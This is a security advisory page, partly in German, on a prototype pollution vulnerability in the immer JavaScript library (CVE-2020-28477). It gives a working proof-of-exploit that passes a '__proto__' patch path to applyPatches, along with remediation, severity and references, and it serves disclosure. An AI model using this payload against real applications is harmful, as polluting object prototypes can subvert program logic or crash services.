Prototype Pollution in immer
## Overview Affected versions of immer are vulnerable to Prototype Pollution. ## Proof of exploit ```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ``` ## Remediation Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.
beschreibt (1)
Zugehörige CVEs.
| ID | Schweregrad | ausnutzbar | ||
|---|---|---|---|---|
| CVE-2020-28477US | medium5.0 | — | ||
This affects all versions of package immer. | ||||
Referenzen
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213WEB
- https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5WEB
- https://github.com/immerjs/immer/issues/738WEB
- https://nvd.nist.gov/vuln/detail/CVE-2020-28477ADVISORY
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986WEB
- https://snyk.io/vuln/SNYK-JS-IMMER-1019369WEB
- https://www.npmjs.com/package/immerWEB
Advisories wie diese benennen die exponierten Produkte, die Angreifer auf Ihrer Angriffsfläche ins Visier nehmen. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan